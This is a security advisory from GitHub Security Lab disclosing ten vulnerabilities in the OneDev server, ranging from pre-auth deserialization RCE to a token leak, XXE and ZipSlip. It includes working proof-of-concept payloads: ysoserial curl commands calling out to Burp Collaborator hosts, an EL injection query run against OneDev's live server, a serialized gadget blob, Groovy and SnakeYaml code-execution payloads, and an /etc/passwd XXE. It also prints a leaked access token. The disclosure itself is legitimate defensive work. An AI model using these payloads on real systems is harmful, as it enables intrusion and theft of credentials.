Coordinated Disclosure Timeline
- 11/05/2020: Report sent to robin@onedev.io
- 11/16/2020: No response received so asked for security contact at https://code.onedev.io/projects/onedev-server/issues/201/activities
- 11/17/2020: Communication resumed by email
- 01/08/2021: Maintainer states that all vulnerabilities were addressed
Summary
Multiple vulnerabilities were found in the OneDev project ranging from pre-auth Remote Code Execution (RCE) to Arbitrary File Read/Write
Product
OneDev
Tested Version
latest commit to the date of testing: f34af86
Details
Issue 1: Pre-Auth Unsafe Deserialization on AttachmentUploadServet
AttachmentUploadServlet
deserializes untrusted data from the Attachment-Support
header:
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String fileName = URLDecoder.decode(request.getHeader("File-Name"), StandardCharsets.UTF_8.name());
AttachmentSupport attachmentSuppport = (AttachmentSupport) SerializationUtils
.deserialize(Base64.decodeBase64(request.getHeader("Attachment-Support")));
...
}
This Servlet does not enforce any authentication or authorization checks.
PoC
Use ysoserial
to generate a probe payload using the URLDNS
gadget. This gadget will send a DNS request which we can intercept to prove the deserialization attack was successful.
curl -X POST http://localhost:6610/attachment_upload -H "File-Name: foo" -H "Attachment-Support: `java -jar /Users/pwntester/Dev/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://536mvpzmverok48wr06msp5du40uoj.burpcollaborator.net | base64`"
Impact
This issue may lead to pre-auth RCE
Issue 2: Pre-Auth Unsafe Deserialization on KubernetesResource
A Kubernetes REST endpoint
exposes two methods that deserialize untrusted data from the request body:
@Path("/allocate-job-caches")
@Consumes(MediaType.APPLICATION_OCTET_STREAM)
@Produces(MediaType.APPLICATION_OCTET_STREAM)
@POST
public byte[] allocateJobCaches(byte[] cacheAllocationRequestBytes) {
CacheAllocationRequest allocationRequest = (CacheAllocationRequest) SerializationUtils.deserialize(cacheAllocationRequestBytes);
and
@Path("/report-job-caches")
@Consumes(MediaType.APPLICATION_OCTET_STREAM)
@POST
public void reportJobCaches(byte[] cacheInstanceBytes) {
@SuppressWarnings("unchecked")
Collection<CacheInstance> cacheInstances = (Collection<CacheInstance>) SerializationUtils
.deserialize(cacheInstanceBytes);
jobManager.reportJobCaches(getJobToken(), cacheInstances);
}
These endpoints do not enforce any authentication or authorization checks.
PoC
java -jar ~/Dev/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://pzs6r9v6ryn8go4gnk26o91xqowgk5.burpcollaborator.net > deser_payload.bin`
curl -H "Content-Type:application/octet-stream" --data-binary @deser_payload.bin http://localhost:6610/rest/k8s/allocate-job-caches
java -jar ~/Dev/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://pzs6r9v6ryn8go4gnk26o91xqowgk5.burpcollaborator.net > deser_payload.bin
curl -H "Content-Type:application/octet-stream" --data-binary @deser_payload.bin http://localhost:6610/rest/k8s/report-job-caches
Impact
This issue may lead to pre-auth RCE
Issue 3: Pre-Auth SSTI via Bean validation message tampering
There are many custom validators using Java Bean Validation (JSR 380) custom constraint validators. Apparently a similar issue was reported in the past (fix issue #88: Users able to edit build spec can execute arbitrary java
) and it was fixed by this commit by disabling EL interpolation:
- Configuration<?> configuration = Validation.byDefaultProvider().configure();
+ Configuration<?> configuration = Validation
+ .byDefaultProvider()
+ .configure()
+ .messageInterpolator(new ParameterMessageInterpolator());
This effectively disables EL interpolation in most cases, but I found that this configuration is not applied for the Jersey server which uses a different ValidatorFactory
configuration defined in ValidationConfigurationContextResolver:
public ValidationConfig getContext(final Class<?> type) {
ValidatorFactory factory = AppLoader.getInstance(ValidatorFactory.class);
ValidationConfig config = new ValidationConfig();
config.constraintValidatorFactory(factory.getConstraintValidatorFactory());
config.messageInterpolator(factory.getMessageInterpolator());
config.parameterNameProvider(factory.getParameterNameProvider());
config.traversableResolver(factory.getTraversableResolver());
return config;
}
There is a custom validator using this configuration, the ValidQueryParamsValidator
:
public boolean isValid(Object[] value, ConstraintValidatorContext context) {
Set<String> expectedParams = new HashSet<>();
for (Annotation[] annotations: resourceInfo.getResourceMethod().getParameterAnnotations()) {
for (Annotation annotation: annotations) {
if (annotation instanceof QueryParam) {
QueryParam param = (QueryParam) annotation;
expectedParams.add(param.value());
}
}
}
Set<String> actualParams = new HashSet<>(uriInfo.getQueryParameters().keySet());
actualParams.removeAll(expectedParams);
if (actualParams.isEmpty()) {
return true;
} else {
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate("Unexpected query params: " + actualParams).addConstraintViolation();
return false;
}
}
This would be vulnerable if EL interpolation is allowed and if the REST endpoint receives an unexpected query parameter. We can verify if this is the case with the following payload:
${'test'.toUpperCase()}` -> `%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d
Trying it locally:
curl -X GET -H "Content-Type: application/json" http://localhost:6610/rest/projects\?%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d=bar
We get no response but an exception:
Caused by: org.glassfish.jersey.server.ContainerException: java.lang.NoSuchMethodError: javax.el.ELContext.notifyBeforeEvaluation(Ljava/lang/String;)
However in the stack trace we can find clues that Hibernate performed EL interpolation:
at com.sun.el.lang.EvaluationContext.notifyBeforeEvaluation(EvaluationContext.java:131) ~[org.glassfish.javax.el-3.0.0.jar:3.0.0]
at com.sun.el.ValueExpressionImpl.getValue(ValueExpressionImpl.java:225) ~[org.glassfish.javax.el-3.0.0.jar:3.0.0]
at org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver.interpolate(ElTermResolver.java:65) ~[org.hibernate.hibernate-validator-5.3.6.Final.jar:5.3.6.Final]
at org.hibernate.validator.internal.engine.messageinterpolation.InterpolationTerm.interpolate(InterpolationTerm.java:64) ~[org.hibernate.hibernate-validator-5.3.6.Final.jar:5.3.6.Final]
This exception seems to be related to a misconfiguration in our docker dev container. Trying it on the onedev server (v3.2.9) we get our expression evaluated:
curl -X GET -H "Content-Type: application/json" https://code.onedev.io/rest/projects\?%24%7b%27%74%65%73%74%27%2e%74%6f%55%70%70%65%72%43%61%73%65%28%29%7d=bar
Unexpected query params: [TEST] (path = ProjectResource.query.<cross-parameter>, invalidValue = [null, null, null, org.glassfish.jersey.server.internal.routing.UriRoutingContext@5b27a361])
As we can see in the output, the Java code was evaluated and returned TEST
in upper case.
This validation, and therefore the arbitrary code execution, happens before any authentication or authorization checks are enforced.
Impact
This issue may lead to pre-auth RCE
Issue 4: Pre-Auth Arbitrary File Upload
AttachmentUploadServlet
also saves user controlled data (request.getInputStream()
) to a user specified location (request.getHeader("File-Name")
):
String fileName = URLDecoder.decode(request.getHeader("File-Name"), StandardCharsets.UTF_8.name());
...
String attachmentName = attachmentSuppport.saveAttachment(fileName, request.getInputStream());
This file system operation occurs before any authentication or authorization checks are enforced.
Impact
This issue may lead to arbitrary file upload
which can be used to upload a WebShell to OneDev server
Issue 5: Pre-Auth Access token leak
The REST UserResource
endpoint performs a security check to make sure that only administrators can list user details. For the /users/
endpoint we have:
@ValidQueryParams
@GET
public Response query(@QueryParam("name") String name, @Email @QueryParam("email") String email, @QueryParam("offset") Integer offset, @QueryParam("count") Integer count, @Context UriInfo uriInfo) {
if (!SecurityUtils.isAdministrator())
throw new UnauthorizedException("Unauthorized access to user profiles");
...
}
However for the /users/{id}
endpoint there are no security checks enforced so it is possible to retrieve arbitrary user details:
@Path("/{userId}")
public User get(@PathParam("userId") Long userId) {
return userManager.load(userId);
}
For the protected endpoint, we get an Unauthorized access
error:
curl -X GET -H "Content-Type: application/json" http://localhost:6610/rest/users
Unauthorized access to user profiles
But for the /users/{}
endpoint we can list full user details, including their Access Tokens!
curl -X GET -H "Content-Type: application/json" http://localhost:6610/rest/users/1
{
"id" : 1,
"name" : "admin",
"fullName" : "admin",
"ssoInfo" : {
"connector" : null,
"subject" : "4a155bff-715d-45e9-8898-4152bb97d25e"
},
"email" : "alvaro@pwntester.com",
"accessToken" : "JqnqWs6YsP8x3poNpnj6J6GFbvh0szli6lr5BWH8",
"userProjectQueries" : [ ],
"userIssueQueries" : [ ],
"userIssueQueryWatches" : { },
"issueQueryWatches" : { },
"userPullRequestQueries" : [ ],
"userPullRequestQueryWatches" : { },
"pullRequestQueryWatches" : { },
"userBuildQueries" : [ ],
"userBuildQuerySubscriptions" : [ ],
"buildQuerySubscriptions" : [ ]
}
These access tokens can be used to access the API or clone code in the build spec via the HTTP(S) protocol. It has permissions to all projects accessible by the user account.
Impact
This issue may lead to Sensitive data leak
and leak the Access Token which can be used to impersonate the administrator or any other users.
Issue 6: Post-Auth Unsafe Deserialization on BasePage (AJAX)
The application’s BasePage
registers an AJAX event listener (AbstractPostAjaxBehavior
) in all pages other than the login page. This listener decodes and deserializes the data
query parameter.
@Override
protected void respond(AjaxRequestTarget target) {
IRequestParameters params = RequestCycle.get().getRequest().getPostParameters();
String encodedData = params.getParameterValue("data").toString();
byte[] bytes = Base64.decodeBase64(encodedData.getBytes());
Serializable data = (Serializable) SerializationUtils.deserialize(bytes);
onPopState(target, data);
target.appendJavaScript("onedev.server.viewState.getFromHistoryAndSetToView();");
}
We can access this listener by submitting a POST request to any page. e.g.
POST /projects/my-app/blob?7-1.IBehaviorListener.0- HTTP/1.1
Host: localhost:6610
Content-Length: 389
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
Wicket-Ajax-BaseURL: projects/my-app/blob
Wicket-Ajax: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:6610
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:6610/projects/my-app/blob
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: JSESSIONID=node0cq7tdfxnza2v1nb58f7zwg7jj6.node0
Connection: close
data=rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVyAAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3OAAKVW5pY2FzdFJlZgAPdG91Y2ggL3RtcC9mb29vAACFE//////C/CKmAAAAAAAAAAAAAAAAAAAAeA==
This endpoint is subject to authentication and, therefore, requires a valid user to carry on the attack.
Impact
This issue may lead to post-auth RCE
Issue 7: Post-Auth Arbitrary Code execution via Groovy script injection
InputSpec
is used to define parameters of a Build spec.
It does so by using dynamically generated Groovy classes. A user able to control job parameters can run arbitrary code on OneDev’s server by injecting arbitrary Groovy code.
For example, for text parameters the class TextInput is used, which dynamically builds fields and method annotations:
buffer.append(" @Pattern(regexp=\"" + pattern + "\", message=\"Should match regular expression: " + pattern + "\")\n");
Where pattern
can be controlled by the user as part of the build spec. For example, to execute arbitrary Groovy code, you can define the following pattern:
paramSpecs:
- !TextParam
name: test
description: test
allowEmpty: false
pattern: foo") public String foo() {return "";}; static {Runtime.getRuntime().exec("touch
/tmp/pwned1");} //
The payload used is:
foo") public String foo() {return "";}; static {Runtime.getRuntime().exec("touch /tmp/pwned1");} //
Which, when injected, will result in:
...
@Pattern(regexp="foo") public String foo() {return "";}; static {Runtime.getRuntime().exec("touch /tmp/pwned1");} // ", message="Should match regular expression: " foo") public String foo() {return "";}; static {Runtime.getRuntime().exec("touch /tmp/pwned1");} // ")\n");
public String input1() {
...
}
When we remove the commented out text and sort it, we get:
@Pattern(regexp="foo")
public String foo() {return "";};
static {Runtime.getRuntime().exec("touch /tmp/pwned1");}
public String input1() {
...
}
Resulting in the injection of a static constructor that will run our arbitrary code. Injection is not only possible in text patterns, but in many other parameters.
Impact
This issue may lead to post-auth RCE
Issue 8: Post-Auth Unsafe Yaml deserialization
In order to parse and process YAML files, OneDev uses SnakeYaml which by default (when not using SafeConstructor
) allows the instantiation of arbitrary classes. We can leverage that to run arbitrary code by instantiating classes such as javax.script.ScriptEngineManager
and using URLClassLoader
to load the script engine provider, resulting in the instantiation of a user controlled class. We can observe that by providing the following BuildSpec:
version: 1
jobs:
- name: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://qgayzevwou8by0k3ochje4ebx23srh.burpcollaborator.net"]]]]
image: asdasd
commands:
- asd
retrieveSource: true
cloneCredential: !DefaultCredential {}
cpuRequirement: 250m
memoryRequirement: 128m
retryCondition: never
maxRetries: 3
retryDelay: 30
timeout: 3600
By intercepting the resolution of the provided URL, we can prove that the payload succeeded.
Impact
This issue may lead to post-auth RCE
Issue 9: Post-Auth External Entity Expansion (XXE)
When BuildSpec is provided in XML format, the spec is processed by XmlBuildSpecMigrator.migrate(buildSpecString);
which processes the XML document without preventing
the expansion of external entities. These entities can be configured to read arbitrary files from the file system and dump their contents in the final XML document to be migrated. If the files are dumped in properties included in the YAML file, it will be possible for an attacker to read them. Eg:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
If not, it is possible for an attacker to exfiltrate the contents of these files Out Of Band.
Impact
This issue may lead to arbitrary file read
Issue 10: ZipSlip Arbitrary File Upload
KubernetesResource
REST endpoint untars user controlled data from the request body:
@POST
@Path("/upload-outcomes")
@Consumes(MediaType.APPLICATION_OCTET_STREAM)
public Response uploadOutcomes(InputStream is) {
JobContext context = jobManager.getJobContext(getJobToken(), true);
TarUtils.untar(is, context.getServerWorkspace());
return Response.ok().build();
}
TarUtils
is a custom library method leveraging Apache Commons Compress. During the untar process, there are no checks in place to prevent an untarred file from traversing the file system and overriding an existing file.
A test Tar file can be found in the snyck
repo.
For a successful exploitation, the attacker requires a valid __JobToken__
which may not be possible to get without using any of the other reported vulnerabilities. But this should be considered a vulnerability in io.onedev.commons.utils.TarUtils
since it lives in a different artifact and can affect other projects using it.
To reproduce the vulnerability, we can use the following Java code:
import io.onedev.commons.utils.TarUtils;
import java.io.FileInputStream;
import java.io.File;
public class UnTarTest {
public static void main(String[] args) {
try {
FileInputStream is = new FileInputStream(new File("./zip-slip.tar"));
TarUtils.untar(is, new File("./dest"));
} catch (Exception e) {
e.printStackTrace();
}
}
}
Using the Tar file mentioned above, after running the untar operation, a file called evil.txt
should be extracted to /tmp
Impact
This issue may lead to arbitrary file write
CVE
- CVE-2021-21242
- CVE-2021-21243
- CVE-2021-21244
- CVE-2021-21245
- CVE-2021-21246
- CVE-2021-21247
- CVE-2021-21248
- CVE-2021-21249
- CVE-2021-21250
- CVE-2021-21251
Resources
- Advisory 1 Pre-Auth deserialization
- Advisory 2 Pre-Auth deserialization
- Advisory 3 Pre-Auth SSTI
- Advisory 4 File Upload
- Advisory 5 Token Leak
- Advisory 6 Deserialization basepage
- Advisory 7 Groovy
- Advisory 8 YAML Deserialization
- Advisory 9 XXE
- Advisory 10 ZipSlip
Credit
These issues was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-214_223
in any communication regarding this issue.